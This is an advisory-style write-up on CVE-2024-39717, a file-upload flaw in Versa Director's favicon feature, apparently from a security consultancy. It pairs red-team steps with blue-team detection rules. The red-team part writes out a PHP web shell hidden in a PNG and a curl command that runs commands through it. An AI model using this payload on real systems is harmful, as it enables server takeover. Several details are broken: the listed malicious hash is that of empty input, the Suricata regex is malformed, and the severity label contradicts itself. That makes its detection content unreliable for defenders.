CVE-2024-39717

Executive Summary

CVE-2024-39717 is a high-severity vulnerability in Versa Director, a network orchestration and management platform. The flaw resides in the “Change Favicon” feature, which is intended to allow authorized administrators (Provider-Data-Center-Admin or Provider-Data-Center-System-Admin) to customize the user interface. Due to insufficient file validation, an attacker with these privileges can upload a malicious file with a .png extension that is actually an executable or script. This can lead to arbitrary code execution on the Versa Director server, potentially compromising the entire management plane. The vulnerability has a CVSS score of 6.6, indicating a significant risk, though exploitation requires prior authentication with high-level privileges. No public exploit code or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.6 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – The attacker must have Provider-Data-Center-Admin or Provider-Data-Center-System-Admin privileges.
• User Interaction: None (UI:N) – No user action is needed beyond the attacker’s own actions.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive data is possible.
• Integrity Impact: High (I:H) – Complete compromise of system integrity.
• Availability Impact: High (A:H) – Full denial of service or system takeover.

Threat Level: High. While the CVSS score is 6.6, the potential for full system compromise and the fact that it targets a management interface makes it a critical concern for organizations using Versa Director.

Deep Dive & Mechanics

The vulnerability is a classic case of unrestricted file upload (CWE-434). The “Change Favicon” feature in Versa Director allows administrators to upload a custom icon file. The application only checks the file extension (.png) but does not validate the actual content of the file. This allows an attacker to upload a file that appears to be a PNG image but contains malicious code (e.g., a PHP web shell, a JSP file, or a script). When the file is accessed or executed by the server, the attacker can achieve remote code execution.

The attack flow:

1. An attacker gains Provider-Data-Center-Admin or Provider-Data-Center-System-Admin credentials (e.g., through phishing, credential theft, or insider threat).
2. The attacker logs into the Versa Director GUI.
3. The attacker navigates to the “Change Favicon” option.
4. The attacker uploads a file named malicious.png that contains a web shell or other executable code.
5. The server stores the file in a web-accessible directory (e.g., /uploads/favicon/).
6. The attacker accesses the uploaded file via a web browser, triggering the execution of the malicious code.
7. The attacker gains a foothold on the Versa Director server, potentially pivoting to other systems.

Vulnerable vs. Patched Code

Since no patch details are available, we can only infer the vulnerable code pattern. The vulnerable code likely performs a simple extension check:

# Vulnerable code (pseudocode)
if file_extension == '.png':
    save_file(file)
else:
    reject_file()

A patched version would include content validation, such as:

# Patched code (pseudocode)
if file_extension == '.png' and is_valid_png(file):
    save_file(file)
else:
    reject_file()

The is_valid_png function would verify the file’s magic bytes (PNG header: 89 50 4E 47 0D 0A 1A 0A) and possibly re-encode the image to strip any embedded code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Versa Director instance (e.g., a lab VM or a test environment).
• Credentials for a Provider-Data-Center-Admin or Provider-Data-Center-System-Admin account.

Steps:

1. Prepare the malicious file: Create a file that is both a valid PNG image and contains a web shell. This can be done using tools like exiftool or by appending PHP code after the PNG data.

   # Create a small PNG file
   echo -ne '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82' > favicon.png
   # Append PHP code
   echo '<?php system($_GET["cmd"]); ?>' >> favicon.png
   

2. Log in to Versa Director: Use the admin credentials to access the GUI.
3. Upload the file: Navigate to the “Change Favicon” option and upload favicon.png.
4. Access the uploaded file: Determine the URL where the favicon is stored (e.g., https://versa-director.example.com/uploads/favicon/favicon.png).
5. Execute commands: Use the web shell to run system commands.

   curl "https://versa-director.example.com/uploads/favicon/favicon.png?cmd=id"
   

Blue Team

Detection:

• Monitor for unusual file uploads to the favicon directory.
• Look for files with .png extension that are larger than expected or have suspicious content.
• Use file integrity monitoring (FIM) to detect changes in the favicon directory.

Prevention:

• Implement strict content validation for uploaded files.
• Use a web application firewall (WAF) to block uploads with embedded code.
• Restrict access to the favicon upload feature to only necessary personnel.
• Apply the principle of least privilege.

Response:

• If an attack is detected, immediately revoke the compromised admin credentials.
• Remove the malicious file from the server.
• Conduct a forensic analysis to determine the extent of the compromise.
• Patch the vulnerability as soon as a fix is available.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious favicon)
• Network Indicators:
  • Outbound connections from the Versa Director server to unknown IPs.
  • Unusual HTTP requests to /uploads/favicon/ with query parameters (e.g., ?cmd=).
• File System Indicators:
  • Files in /uploads/favicon/ that are not valid PNG images.
  • Unexpected files with .png extension in web-accessible directories.
• Log Indicators:
  • Log entries showing upload of files with .png extension from admin accounts.
  • Log entries showing access to /uploads/favicon/ with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_39717_Malicious_Favicon {
    meta:
        description = "Detects malicious favicon files exploiting CVE-2024-39717"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39717"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $php_tag = "<?php"
        $asp_tag = "<%"
        $jsp_tag = "<%"
        $script_tag = "<script"
    condition:
        $png_header at 0 and
        (any of ($php_tag, $asp_tag, $jsp_tag, $script_tag))
}

Sigma Rule

title: CVE-2024-39717 - Malicious Favicon Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of potentially malicious favicon files in Versa Director
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/uploads/favicon/*'
        file_extension: '.png'
    condition: selection
falsepositives:
    - Legitimate favicon uploads by authorized admins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39717 - Potential Malicious Favicon Upload"; flow:to_server; content:"POST"; http_method; content:"/uploads/favicon/"; http_uri; content:".png"; http_uri; pcre:"/(<?php|<%|<script)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit the “Change Favicon” feature to only essential personnel. Use multi-factor authentication (MFA) for admin accounts.
2. Monitor Logs: Actively monitor for suspicious uploads and access to the favicon directory.
3. File Validation: Implement server-side validation that checks the actual file content (magic bytes) and re-encodes images to remove embedded code.

Long-Term Fix:

• Apply the official patch from Versa when it becomes available.
• Upgrade to a patched version of Versa Director.

Workaround:

• Disable the “Change Favicon” feature entirely if not needed.
• Use a reverse proxy or WAF to inspect and block malicious uploads.

Valters IT